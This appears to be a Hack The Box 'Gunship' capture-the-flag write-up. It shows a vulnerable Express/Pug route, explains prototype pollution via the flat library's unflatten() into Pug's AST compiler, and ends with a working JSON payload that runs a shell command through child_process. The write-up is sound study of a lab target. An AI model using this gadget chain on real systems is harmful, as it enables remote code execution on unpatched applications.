Skip to content

← Back

Gunship

Link

Hack The Box

Findings

  • routes/index.js
router.post("/api/submit", (req, res) => {
    const { artist } = unflatten(req.body);

    if (
        artist.name.includes("Haigh") ||
        artist.name.includes("Westaway") ||
        artist.name.includes("Gingell")
    ) {
        return res.json({
            response: pug.compile(
                "span Hello #{user}, thank you for letting us know!",
            )({ user: "guest" }),
        });
    } else {
        return res.json({
            response:
                "Please provide us with the full name of an existing member.",
        });
    }
});
  • package.json
{
    "dependencies": {
        "express": "^4.17.1",
        "flat": "5.0.0",
        "pug": "^3.0.0"
    }
}

Vulnerabilities

Pug + prototype pollution / AST1 gadget chains

flat / flatten-unflatten prototype pollution

Notes

Block matters because the app later calls Pug compile/render and Pug’s compiler walks an AST-ish structure that includes a .block field.

Generic pipeline with prototype pollution “shortcut” to execution

   [Template]
       |
       v
    [Lexer]  ..........>  [Tokens]
       |
       v
    [Parser] ..........>  [AST]
       |
       v
   [Compiler] .........>  [Function]
       |
       v
   [Execute] ..........>  [Result]
       |
       v
[Command Execution]

Where prototype pollution fits (Gunship):

                 (you control via unflatten)
                      |
                      v
                [Object.prototype]
                      |
                      |  (inherited property lookup)
                      v
    [Parser/Compiler/Execute reads node.block / node.type / node.line]
                      |
                      v
               [Command Execution]

Meaning: pollution only matters if it lands on a property name the pipeline actually reads.

Same pipeline, labeled as Pug internals

  "<Template>"
   "h1= msg"
       |
       v
  [Lexer: pug-lexer]  ..........>  [Tokens]
       |
       v
 [Parser: pug-parser] ..........>  [AST]
       |
       v
[Compiler: pug-code-gen] .......>  [JS Function]
       |
       v
      [Execute] .................>  [result]

How this maps to the Gunship challenge and why __proto__.block = { type, line } “works”

You send JSON
   |
   v
unflatten() builds object
   |
   v
__proto__.block poisons Object.prototype.block
   |
   v
Pug later does: node.block   (doesn't care if inherited)
   |
   v
Compiler/debug/codegen touches block.type / block.line
   |
   v
Your "block-shaped" object gets treated like a real AST node

Rule of thumb: Prototype pollution is delivery. block/type/line is the targeted package that the Pug pipeline opens. polluted is a package nobody opens.

If you paste the few lines where the app calls Pug (compile/render) and what object it passes in, I can point at the exact fields being accessed so you can pick gadget keys deliberately instead of guessing.

Exploit

{
    "artist.name": "Gingell",
    "__proto__.block": {
        "type": "Text",
        "line": "console.log(process.mainModule.require('child_process').execSync('whoami > /app/static/pwned').toString())"
    }
}

Gotcha

Footnotes